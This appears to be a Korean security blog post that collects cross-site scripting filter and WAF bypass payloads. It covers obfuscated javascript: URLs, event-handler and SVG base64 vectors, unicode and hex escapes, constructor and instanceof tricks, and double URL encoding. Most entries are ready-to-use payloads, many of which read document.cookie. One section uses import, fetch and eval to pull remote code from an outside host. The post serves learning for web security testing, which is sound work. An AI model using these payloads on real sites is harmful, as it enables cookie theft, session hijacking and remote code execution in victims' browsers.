▶ Script 태그 바깥
1. event handler 사용 (onload, onerror, onfocus...)
2. 문자열 치환(ex. script -> scripscriptt)
3. 활성 하이퍼링크(a태그, iframe태그 등): URL들은 활성 콘텐츠를 포함할 수 있다.(ex. javascript:)
1
2
|
<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
|
cs |
javascript 필터링 시, 브라우저의 정규화 과정에서 \x01, \x04, \t 와 같은 특수 문자들이 제거되고 스키마의 대소문자가 통일되는 점을 이용하여 다음과 같이 우회가능(단, url에 입력할 때에는 2비트짜리 특수문자가 아닌, 진짜로 tab키를 눌러서 나오는 공백을 넣어야 함!).
1
2
|
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
|
cs |
자바스크립트일 경우, 직접 normalizeURL을 통해서 정규화해야함. 또한, protocol, hostname 등 URL의 각종 정보를 추출할 수 있음.
1
2
3
4
5
6
7
8
9
|
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"
|
cs |
또한, HTML태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있다.
1
2
|
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
|
cs |
대소문자 모두 검사하지 않을 경우도 있다.
1
2
|
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />
|
cs |
스크립트 태그 내 데이터 존재 여부를 검사할 때는 script 태그 내의 src속성을 사용할 수 있다.
1
|
<script src="data:,alert(document.cookie)"></script>
|
cs |
멀티라인 검사 미존재 시, 개행을 쓸 수도 있다.
1
|
<img src=""\nonerror="alert(document.cookie)"/>
|
cs |
특정태그 필터링 시에는 다른 태그를 이용한다.
1
2
|
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
|
cs |
이벤트 핸들러 및 멀티라인 문자 검사 시에는 HTML Entity Encoding 우회가 가능하다.
1
2
|
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
|
cs |
또한, svg use 태그를 활용하여 base64의 형태로 우회하는 것 역시 가능하다.
1
2
3
4
5
6
7
8
9
10
|
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly9
3d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94
bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iY
WxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>
<!-- 아래 코드를 base64화 시킨 것.
<svg id='x' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>
-->
|
cs |
출처 : https://portswigger.net/research/new-xss-vectors
▶ Script 태그 안
1. javascript의 Unicode escape sequence를 통한 우회
1
|
\u0061lert(document.cookie); // alert(document.cookie)
|
cs |
2. computed member access: 객체의 특정 속성에 접근할 때 속성이름을 동적으로 계산
1
2
3
|
document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
|
cs |
(" ")를 필터링할 경우, eval("alert(1)")을 eval[alert(1)]과 같이 변환시키는 원리로 우회할 수 있다.
3. javascript 특성을 이용한 우회
변경 전 | 변경 후 |
alert, XMLHttpRequest | window['al'+'ert'], window['XMLHtt'+'pRequest'] |
window | self, this |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 constructor 속성 접근 |
4. 극단적 경우, [,],(,),!,+ 만으로 수행가능 (JSfuck)
Constructing an XSS vector, using no letters - Techiavellian
At the risk of spoiling a somewhat-well-known XSS game, I want to share an XSS vector I had never thought of before it forced me to. The premise of this level was, essentially, that you couldn’t use any letters whatsoever in the attack vector, and you h
techiavellian.com
5. 문자열 선언
따옴표류(",')가 필터링 됐을 시, Template Literals 사용(백틱:` 사용)
1
2
3
|
var foo = “Hello”;
var bar = “world”;
var baz = `${foo}, ${bar} ${1+1}.`;
|
cs |
따옴표류와 백틱 모두 필터링 됐을 시, RegExp 객체 이용 (\, ' , ( , ) , ; 필터링 되어 있을 때 유용하게 활용 가능 )
(참고자료 : https://www.hahwul.com/2017/01/10/web-hacking-bypass-xssquotation/ )
1
2
|
var foo = /Hello World!/.source;
var bar = /test !/ + [];
|
cs |
fromCharCode 함수를 사용
1
|
var foo = String.fromCharCode(72, 101, 108, 108, 111); //“Hello”
|
cs |
기본 내장 함수나 객체의 문자를 사용하는 방법
1
2
3
4
5
6
|
var baz = history.toString()[8] + (history+[])[9] + (URL+0)[12] + (URL+0)[13];
// “Hi()”
// history.toString()은 “[object History]” 문자열을 반환,
//URL.toString()은 “function URL() { [native code] }” 문자열을 반환.
//history+[]; history+0;처럼 함수나 객체와 +,-연산을 수행하게 되면 자동으로 toString 함수를 호출하여 문자열로 변환.
|
cs |
숫자 객체의 진법 변환 : 10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있다. 이때 사용되는 연산자로 E4X 연산자("..") 가 존재한다. 주로 점 두개를 쓰거나, 소수점으로 인식되지 않도록 공백과 점을 조합해 사용한다.
1
2
|
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
|
cs |
6. 함수 호출
백틱으로 함수 호출
1
2
|
alert(1); // Parentheses
alert`1`; // Tagged Templates
|
cs |
백틱과 소괄호 모두 필터링 시, javascript 스키마를 이용한 location 변조
1
2
3
|
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
|
cs |
Symbol.hasInstance 오버라이딩(ex. O instanceof C를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 된다. 따라서 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다.)
1
2
|
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
|
cs |
document.body.innerHTML 추가 : 자바스크립트내에서는 document.body.innerHTML을 활용하여 문서 내에 새로운 HTML 코드를 추가하는 것이 가능. 다만, innerHTML로 삽입하면, <script>태그를 삽입해도 실행되지 않음. 따라서 이벤트 핸들러를 이용하여 script를 넣어줘야 함.
1
2
|
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
|
cs |
7. 문자열-Native Function-문자열
문자열-Native Function-문자열 을 수행할 때 문자열의 결과를 연산하는 과정에서 Native Function 이 실행되게 된다. document.cookie를 실행시키고 싶다면 다음과 같이 할 수 있겠다. document.location.href 뒤의 문자열이 문자열 -alert(1)의 결과값-문자열이 되고, 문자열-문자열(상수)는 NaN이 됨으로 host의 /NaN으로 요청하게 된다. 하지만 중간에 alert에 해당하는 곳에서 코드가 실행되게 된다.
1
2
3
4
5
|
?param1=abc'-alert(document.cookie)-'def
<script>
document.location.href = 'https://gong-vlog.tistory.com/?param1=abc'-alert(document.cookie)-'def';
</script>
|
cs |
8. && 활용 (location.href 뒤에서 앞의 링크를 씹고, 임의의 링크를 삽입하고 싶을 때)
문자열 && 문자열 을 할 시에는 뒤의 문자열이 최종적으로 적용되기 때문에 뒤의 링크로 location.href를 실행시킬 수 있다.
1
2
3
4
5
|
?param1=abc'&&'https://ar9ang3.com/
<script>
document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';
</script>
|
cs |
9. Native Function 이후 &&으로 뒷 문자열 활용 (e.g. ;나+를 필터링하는 동시에, 마지막에는 반드시 정상적인 문자열이 들어가야 할 경우)
문자열-Native Function-문자열에서 &&을 넣어서 뒷 문자열이 실행되게끔 만들고 싶다면, '문자열'-'Native Function'{연산순서가 &&보다는 빠르고 - 보다는 빠른 연산자 (단, 연산 후에는 값이 1이 되는 연산자여야 함)}(해당 연산자에 해당하는 값)&&'문자열' 와 같은 형태로 삽입하면 된다. Javascript 연산자 순서와 Console창을 열어 직접 실행하면 쉽게 이해할 수 있다.
그 예시로 payload를 만든다고 가정하면 다음과 같을 것이다 (^ 연산자, | 연산자).
1
2
|
document.location.href = 'abcdef?param1=aa'-eval[alert(document['cookie'])]^1&&'https://gongv-log.tistory.com/';
document.location.href = 'abcdef?param1=aa'-eval[alert(document['cookie'])]|1&&'https://gongv-log.tistory.com/';
|
cs |
▶ 그 이외
1. Double URL encoding
1
2
3
4
5
|
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>
|
cs |
2. 길이 제한을 걸어놨을 경우
1
2
3
4
5
6
7
8
9
|
//location.hash 를 이용한 공격 방식
<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
//외부 자원을 이용한 공격 방식
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
|
cs |
3. 자바스크립트 문법을 맞춰줄 필요없이 noscript 태그 사용
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
try {
if ('injection'==<%=request.getParameter("param")%>) {
var a = "blahblah";
}
} catch(e) { }
alert(document.cookie);
</script>
<noscript>";
}
var f = function(x) {
var z = {
a : 1,
b : 2,
c : 3
};
return a;
}
} catch (e) {
console.log("err");
}
|
cs |
▶ 상황별 예시
1. alert와 같은 native function 그 자체를 필터링 할 시
var a=alert; a(document.cookie);
2. document.cookie 등을 필터링 할 시
var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);
3. 문자열 필터링할 시
var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));
4. '/ " 를 필터링 할 경우
?param_a=\¶m_b=;alert(document.cookie);var%20z='
var a='\'; var b=';alert(document.cookie);var z='';
5. ( ) 괄호를 필터링 할 시
alert`123`;
btoa.constructor`alert\x28document.cookie\x29```
`(백틱) 은 문자열을 만들때나, 함수를 실행할 때 인자를 줄 때도 활용할 수 있다. (e.g. alert`123`)
btoa와 같은 Native function (e.g. encodeURI, clearTimeout ...) 의 contructor method를 이용하여 문자열로 된 스크립트 구문을 인자로 전달하면 해당 Native Function으로 스크립트가 지정된다. 이후 `(백틱)을 두번 써주면 해당 Native function을 실행하게 되고, 이로인해 앞에서 저장한 스크립트 구문이 실행되게 된다. 또한 자바스크립트에선 \x28과 같은 Ascii hex를 자동으로 converting 해주기 때문에 \x28, \u28, \u0028과 같은 구문들이 문자열 내에서 자동으로 ascii charcter로 변환되게 된다. 때문에 최종적으로 alert(document.cookie) 구문이 실행되게 된다.
출처 :
Web Hacking XSS Bypass WAF & Bypass Filtering (Cross Site Scripting) :: Is Secure? (tistory.com)
dreamhack.io, https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/instanceof, https://developer.mozilla.org/ko/docs/Web/API/atob, https://developer.mozilla.org/ko/docs/Web/SVG/Tutorial/SVG_Image_Tag
'정보보안(웹해킹) > XSS(Cross-Site Scripting)' 카테고리의 다른 글
XSS report할 때, alert(1)을 사용하지 말아야 하는 이유 (0) | 2022.12.31 |
---|---|
JSFuck and XSS Payload (부제 : !,[,],(,),+ 만으로 XSS하기) (0) | 2022.12.11 |
XSS응답 확인 : Request bin 사이트 및 사용법 (0) | 2022.11.22 |
XSS(Cross-Site Scripting) 응용 (0) | 2022.11.22 |
XSS(Cross-Site Scripting) 개요 (0) | 2022.11.11 |
댓글